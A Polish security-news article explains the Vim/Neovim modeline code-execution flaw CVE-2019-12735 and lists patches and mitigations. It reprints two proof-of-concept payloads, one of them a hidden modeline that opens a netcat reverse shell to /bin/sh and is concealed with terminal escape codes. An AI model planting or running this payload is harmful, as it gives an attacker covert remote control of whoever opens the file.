Menu dostępności

Linux zhackowany przez otwarcie pliku w edytorze Vim lub Neovim!

Od jakiegoś czasu zaobserwowaliśmy trend w szukaniu „dziur” w prostych aplikacjach wbudowanych w system operacyjny. Nie tak dawno, bo w zeszłym tygodniu pisaliśmy o odkrytej podatności w aplikacji Notatnik w Windows umożliwiającej wykonanie zewnętrznego kodu (np. uruchomienie cmd.exe). Dzisiaj mamy dla Was nową ciekawą podatność związaną również z edytorem tekstowym, ale tym razem na Linux.


Użytkownicy Linuksa, strzeżcie się!

Jeśli nie zaktualizowaliście ostatnio swojego systemu operacyjnego Linux, zwłaszcza narzędzia Vim i NoeVim do edycji tekstu dostępnych z wiersza poleceń lub nie wyłączyliście w nich odpowiedniej funkcji, nie próbujcie nawet przeglądać zawartości plików za pomocą tych aplikacji! Można przejąć zdalną kontrolę nad Linux!

Z podatnościami związanymi z edytorem Vim mieliśmy do czynienia już dużo wcześniej. Niedawno kolejną odkrył researcher bezpieczeństwa Armin Razmjou. Tym razem luka polega na wykonywaniu dowolnych poleceń systemu operacyjnego o wysokim stopniu złośliwości (CVE-2019-12735) w aplikacji Vim oraz NeoVim – czyli w dwóch najbardziej popularnych aplikacjach do edycji tekstu dostępnych z wiersza poleceń (konsoli tekstowej), które są fabrycznie zainstalowane w większości systemów operacyjnych opartych na systemie Linux. W systemach Linux edytor Vim umożliwia użytkownikom tworzenie, przeglądanie lub edytowanie dowolnego pliku, w tym tekstu, skryptów programistycznych i dokumentów. Neovim jest rozszerzoną wersją Vima z bardziej wzbogaconymi funkcjami dla użytkowników, wtyczkami i GUI. W niej również występuje luka polegająca na możliwości wykonania złośliwego kodu.


Błąd wykonania kodu w Vimie i Neovimie

Razmjou odkrył lukę w sposobie, w jaki edytor Vim obsługuje „modeline” czyli funkcję, która służy do automatycznego wyszukiwania i pozwala określić niestandardowe opcje edytora na początku lub końcu pliku. Funkcja ta jest domyślnie włączona i stosowana do wszystkich typów plików, w tym zwykłych plików *.txt. Na przykład, jeśli umieścimy następujące polecenie w ostatnim wierszu programu w języku C to podczas edycji tego pliku otrzymamy szerokość tekstu wynoszącą 60 znaków:

/* vim: tw=60 ts=2: */

Zmienna modeline ustawia także liczbę linii (na początku i na końcu każdego pliku), które vim sprawdza w momencie inicjalizacji pliku.

Standardowo, jeśli plik zawiera niebezpieczne wyrażenie system Linux ze względów bezpieczeństwa używa do ochrony wbudowanej piaskownicy i zezwala tylko na wywołanie podzbioru funkcji dostępnych w modelinę. Razmjou ujawnił możliwość ominięcia zabezpieczeń (piaskownicy) w momencie, gdy użyje się polecenia „:source!” (z modyfikatorem na końcu w postaci wykrzyknika [!]).


Scenariusz ataku z wykorzystaniem modeline

Poniżej przedstawiono dwa przykłady (wywołania modeline):

1. Pierwszy przykład umożliwia uruchomienie polecenia „uname – a” z poziomu pliku tekstowego otwieranego w vim na systemie Linux: :!uname -a||” vi:fen:fdm=expr:fde=assert_fails(„source\!\ \%”):fdl=0:fdt=

2. Drugi przykład pokazuje powagę zagrożenia i pozwala na wykonanie polecenia netcat i połączenia się ze zdalnym komputerem używając powłoki reverse shell \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 9999 -e /bin/sh &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n

Poniżej prezentujemy demo do opisanego scenariusza:

Potencjalne zagrożenie polega na otwarciu niewinnie wyglądającego specjalnie spreparowanego pliku przy użyciu Vima lub Neovima i może pozwolić atakującemu na potajemne wykonywanie poleceń w systemie Linux i przejęcie nad nim zdalnego sterowania!


Jak sobie radzić z problemem?

Przede wszystkim pobrać dostępne już łatki na aplikację Vim oraz Neovim:

  • Vim patch 8.1.1365
  • Neovim patch (released in v0.3.6)

Oprócz łatek na aplikacje zalecane jest:

  • wyłączenie funkcji modelines w edytorze Vim (opcja set nomodeline)
  • wyłączenie możliwości użycia wyrażeń w modelines dla modelineexpr
  • użycie wtyczki securemodelines.

W celu sprawdzenia czy masz wyłączoną funkcję modeline uruchom w Vim polecenie: :set modeline? Jeśli aplikacja Vim zwróci nomodeline to nie jest podatna na opisywane wyżej zagrożenie.

Popularne

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

W tym artykule pokażemy, jak możemy zmienić hasło administratora na komputerze posiadając do niego fizyczny dostęp. Artykuł ten można potraktować także jako przestrogę dla firm, które nie zaimplementowały jeszcze odpo...
Zero-day w pakiecie Office wykorzystywany w atakach

Zero-day w pakiecie Office wykorzystywany w atakach

Microsoft wydał poprawki dla luki CVE-2026-21509. Jest to niedawno ujawniona podatność typu zero-day w pakiecie Office, która może zostać wykorzystana do obejścia funkcji zabezpieczeń. W komunikacie giganta...
Microsoft wyłączy NTLM!?

Microsoft wyłączy NTLM!?

Kończy się czas protokołu uwierzytelniania New Technology LAN Manager (NTLM) – w kolejnej wersji systemu Windows Server nie będzie on już obsługiwany. O tym podatnym protokole pisaliśmy wielokrotnie, między i...
Łatajcie Cisco i F5! Wysoki stopień zagrożenia

Łatajcie Cisco i F5! Wysoki stopień zagrożenia

Cisco i F5 opublikowały w tym tygodniu poprawki dla wielu luk w zabezpieczeniach swoich produktów, w tym dla poważnych podatności, które mogą prowadzić do odmowy usługi (DoS), wykonywania poleceń i eskala...
Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jeśli masz odrobinę szczęścia lub „odpowiednie umiejętności” i potrafisz zdobyć lokalne uprawnienia administracyjne na Twoim komputerze w firmie lub zaliczasz się do grona tych szczęściarzy, którzy pracuj...